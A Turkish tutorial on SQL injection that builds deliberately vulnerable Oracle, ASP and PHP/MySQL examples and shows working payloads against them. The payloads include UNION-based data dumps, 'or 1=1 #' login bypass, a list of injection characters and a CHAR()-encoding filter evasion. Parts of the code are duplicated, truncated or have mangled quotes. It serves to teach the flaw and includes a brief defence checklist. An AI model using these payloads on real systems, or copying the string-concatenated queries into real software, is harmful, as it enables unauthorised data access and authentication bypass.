Sql injection hakkında herşey

Sql İnjection
(Onur Serhat Uygur’un yazmış olduğu makale okumanızı tavsiye ederim) Peki bu nasıl oluyor?Böyle bir ortamı sağlamak için basit bir yapı oluşturalım.Elimizde müşterinin ad soyad tlelefon fax ve tip bilgilerinin tutulduğu bir “customer” tablomuz olsun :
create table customers( CUSTOMER_FORNAME VARCHAR2(30), CUSTOMER_SURNAME VARCHAR2(30), CUSTOMER_PHONE VARCHAR2(30), CUSTOMER_FAX VARCHAR2(30), CUSTOMER_TYPE NUMBER(10) );
Şimdi de birkaç veri girelim :
declare begin insert into customers values(’Ali’,’Yilmaz’,999444888,999444889,3); insert into customers values(’Ahmet’,’Celik’,999555888,999555889,2); insert into customers values(’Veli’,’Gocer’,999777888,999777889,1); commit; end;
Müşterinin soyadını verince telefon numarasını veren bir fonksiyonun aşağıdaki gibi yazıldığını varsayalım:
create or replace procedure getCustPhone(p_surname varchar2) is type refCursor ref cursor; rc refCursor; thePhone customers.customer_phone%type; stmt varchar2(32767):=’select customer_phone ‘|| ‘from customers ‘|| ’where customer_surname=”’|| P_surname||”’’; begin dbms_output.put_line(’select str : ‘|| stmt); open rc for stmt; loop fetch rc into thePhone; exit when cv%notfound; dbms_output.put_line(’customer phone : ‘||thePhone); end loop; close rc; end getCustPhone;
Ortamımızı hazırladık.Şimdi de mesela soyadı “Yilmaz” olan müşterinin telefon numarası alalım :
declare cust varchar2(200) := ‘Yilmaz’; begin getCustPhone(cust); dbms_output.put_line(’TEST SONLANDI….’); end; CIKTI : select str : select customer_phone from customers where customer_surname=’Yilmaz’ customer phone : 999444888
TEST SONLANDI…. Buraya kadar her şey yolunda, soyadını verdiğiniz müşterinin telefon numarasını alabiliyorsunuz. Diyelim ki bana tüm müşterilerin telefon numarası lazım Bunu elimizdeki bu fonksiyonla getirebilir miyiz sizce ? Gönderilen parametreyi biraz düzenleyip!!! deneyelim :
declare cust varchar2(200) := ‘Yilmaz”’ || ‘ or exists (select 1 from sys.dual) and ‘’x’’ = ‘’x’; begin getCustPhone(cust); dbms_output.put_line(’TEST SONLANDI….’); end; CIKTI : select str : select customer_phone from customers where customer_surname=’Yilmaz’ or exists (select 1 from sys.dual) and ‘x’ = ‘x’ customer phone : 999444888 customer phone : 999555888 customer phone : 999777888
TEST SONLANDI…. Evet, başardık Elimizde sisteme kayıtlı tüm telefon numaraları var artık. Peki bunu nasıl basardık? “getCustPhone” fonksiyonuna bir göz atalım.Dinamik SQL şu şekilde tasarlanmış :
stmt := ’select customer_phone ‘||’from customers ‘|| ‘where customer_surname=”’||p_surname||”’’;
Burada “p_surname” değişkenine biz ne yazarsak “stmt” SQL stringi o şekilde oluşacak!!! Zaten SQL Injection durumuna sebeb olan noktada burası.”Yilmaz” gönderdiğimizde olusan SQL string : select customer_phone from customers where customer_surname=’Yilmaz’ Son örneğimizde gönderdiğimiz gibi “’Yilmaz”’ || ‘ or exists (select 1 from sys.dual) and ‘’x’’ = ‘’x’;” gönderirsek oluşan SQL stringi ise :
select customer_phone from customers where customer_surname=’Yilmaz’ or exists (select 1 from sys.dual) and ‘x’ = ‘x’
şeklinde!!!”customer_name = ” eşitliğini sağ tarafına SQL in seyrini değiştirecek fazladan SQL ler yazabildik! (Ektra yazdıgımız ‘x’ = ‘x’ sadece açık kalacak bir tırnağı kapamak için kullanılıyor) Şimdi bu örnekleri arttıralım : Kurduğumuz “connection”’ın hangi “user” üzerinden yapıldıgını bulalım :
declare cust varchar2(200) := ‘Yilmaz”’ || ‘ union select sys.login_user from sys.dual where ‘’x’’=’’x’; begin getCustPhone(cust); dbms_output.put_line(’TEST SONLANDI….’); end; CIKTI : select str : select customer_phone from customers where customer_surname=’Yilmaz’ union select sys.login_user from sys.dual where ‘x’=’x’ customer phone : 999444888 customer phone : CUSTINFOUSER
TEST SONLANDI….
SQL Injection Nedir?
SQL Injection kelime manasıyla da anlaşılabileceği gibi SQL sorgularının arasına dışarıdan zararlı veri ekleme işlemine verilen isimdir. Dinamik web uygulamalarında bir veritabanı ve o veritabanı üzerinde çalışan SQL sorguları vardır. Bu sorgular masum amaçlı bir veya birden fazla tablodan veriler çekerek etkileşimi sağlamayı amaçlamaktadır. Ama dışarıdaki kullanıcının uygulamaya gelen girdilere zararlı veri karıştırması sonucu masum sorgularımız korkunç bir faciaya sebep olurlar. Web uygulamaları genelde kullanıcıyla etkileşime geçerek dinamik bir arayüz sunarlar. Bu sırada kullanıcıdan bir takım girdiler(Formdan, URL Sorgularından, çerezlerden vs.) alırlar ve bunu uygulama içinde işleme sokarlar ve belli bir çıktı verirler.
<HTML><HEAD><TITLE>Login Page</TITLE></HEAD><BODY bgcolor=’ 000000’ text=’cccccc’><FONT Face=’tahoma’ color=’cccccc’><CENTER><H1>Login</H1><FORM action=’process_login.asp’ method=post><TABLE><TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR><TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR></TABLE><INPUT type=submit value=’Submit’><INPUT type=reset value=’Reset’></FORM></FONT></BODY></HTML> Login işlemini kontrol eden asp scriptimiz: PHP- Kodu: <HTML><BODY bgcolor=’ 000000’ text=’ffffff’><FONT Face=’tahoma’ color=’ffffff’><STYLE>p { font-size=20pt ! important}font { font-size=20pt ! important}h1 { font-size=64pt ! important}</STYLE><%@LANGUAGE = JScript %><%function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str );} <HTML><BODY bgcolor=’ 000000’ text=’ffffff’><FONT Face=’tahoma’ color=’ffffff’><STYLE>p { font-size=20pt ! important}font { font-size=20pt ! important}h1 { font-size=64pt ! important}</STYLE><%@LANGUAGE = JScript %><%function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str );} //Bağlantıyı Oluşturalım var username; var cn = Server.createobject( "ADODB.Connection" ); cn.open( "Driver={SQL Server};server=localhost;uid=sa;pwd=sa;database=No rthwind" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close();}Main();%>
Şimdi gelin Tek tırnağın(’) Gücünü hep birlikte adım adım analiz edelim. • Önce string parametreyi kapattı. • Ardından gelen bütün ifadeler SQL sorgusu olarak işlendi. • Ve böylece sisteme yetkisiz erişim hakkı sağlandı çözüm nedir? İnternette yer alan genel çözüm (‘) tek tırnağı 2 tane tek tırnakla (‘’) değiştirmeniz böylece açılan bir yolu kapatmanız yönünde. Ama aslında bu çok da yeterli değil. Nedenine değinmeden önce database string fieldları dışında başka ne gibi fieldlarda sql injection uygulanabilir, ona bakalım. Nümerik Alanlar Eğer nümerik bir alan varsa veritabanında? Evet, onlar da sql injection uygulanabiliyor. PHP- Kodu:
SELECT * FROM clients WHERE account = 12345678 AND pin = 1111 PHP/MySQL login yapısı: PHP- Kodu: $sql="SELECT * FROM clients WHERE “. "account = $formacct AND " . "pin = $formpin";
Nümerik Alana Injection PHP- Kodu:
$formacct = 1 or 1=1 # $formpin = 1111
Sorgumuzun son hali: PHP- Kodu:
SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111
MySQL için SQL cümleciklerindeki # (diyez) karakteri yorumlardan önce gelmektedir. Böylece sorgumuzun geri kalan kısmı işleme alınmayacaktır. Veritabanında tablomuzu oluşturacak SQL sorguları: PHP- Kodu:
DROP TABLE IF EXISTS `accounts`;CREATE TABLE IF NOT EXISTS `accounts` (`id` bigint(20) unsigned NOT NULL auto_increment,`account` bigint(20) NOT NULL default ’ 0’ ,`pin` bigint(20) NOT NULL default ’ 0’ ,`user_name` varchar(128) NOT NULL default ’’,PRIMARY KEY (`id`)) TYPE=MyISAM AUTO_INCREMENT=3 ;---- Tablo döküm verisi `accounts`--INSERT INTO `accounts` VALUES (1, 123, 123, ’ULKER’);INSERT INTO `accounts` VALUES (2, 456, 456, ’MUSA’);
Login ekranımızın ve kontrollerimizin olduğu php kodları: PHP- Kodu:
require(’classes.php’); session_start(); $db = new db("root","","sql_demo","localhost"); error_reporting(0); if($_POST[’account’] && $_POST[’pin’]){ if($user=$db->get_row(" SELECT * FROM accounts WHERE account=".$_POST[’account’]." AND pin=".$_POST[’pin’]." LIMIT 1 ")){ echo "Hoş geldiniz $user->user_name "; } else echo "Erişim engellendi !!"; } else { ?> <html> <head> <title>Güvenli Bir İnternet Sitesi </title> </head> <bOdy> <form id="login" action="<?=$_SERVER[’PHP_SELF’] ?>" method="POST" > Kullanıcı adı: <input type="text" value="<?=$_POST[’acocount’]?>" size="24" maxlength="20" name="account" /> şifre :<input name="pin" type="text" size="24" maxlength="20" value="<?=$_POST[’pin’]?>"/> <input type="submit" value="Gönder" /> </form>
Örnekler: kullanıcı: 1 or 1=1 # şifre: 1111 </bOdy></html> <?php} ?> SQL Injection Karakterleri PHP- Kodu: ’ veya ” string karakter ayracı — veya # tek satır yorum /*…*/ çok satır yorum + toplama, concatenate işlemi (veya URL’de space) || (çift pipe) concatenate (Oracle ve PostgreSQL’de) % wildcard-ayraç ?Param1= xyz &Param2= klm URL parametreleri PRINT non-transactional komut olarak @variable local değişken @@variable global değişken waitfor delay ’0:0:10‘ süre gecikmesi # Access’de tarih ayıracı – çıkarma – Check Constraint Range SQL Injection Bulunabilecek Yerler Formlardaki alanlar URL sorgu stringlerindeki parametreler Cookieler Bu alanların iyi kontrol edilmesi gerekir! Tek tırnaktan( ’ ) Korunmak • Bir fonksiyon yardımıyla ( ’ ) karakterini ( ’ ’ ) ile değiştirebiliriz. • Peki ama ASCII kodu??? ASCII KOD DEĞER 32 Boşluk 39 ’ 45 – 49 1 61 = 79 O 82 R PHP- Kodu:
SELECT CHAR(49) + CHAR(39) + CHAR(32) + CHAR(79) + CHAR(82) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49) + CHAR(45) + CHAR(45)
Sql injection hakkında herşey
- Sql injections
- sql injection nasıl yapılır
- sql injection kodları
- sql injection açığı
- sql injection korunma
- sql injection nedir
- sql injection hack
- sql injection indir
- php sql injection
Sonuçta, Tek tırnak ( ’ ) karakterini temizlesek bile CHAR ve Concat Operatörünü(+) de gelen inputtan arındırmamız gerekiyor.
Sql injection
Korunmak için genel kontrol listesi
- SQL Injection küçümsenmemesi gereken büyük bir güvenlik açığıdır.
- Yeni yazılımlar çok dikkatli kodlanmalı, eskiler çok dikkatlice gözden geçirilmelidir.
- Burada gösterilmeyen birçok ileri SQL Injection yöntemleri vardır.
Alıntıdır: Fuub
Bir cevap yazın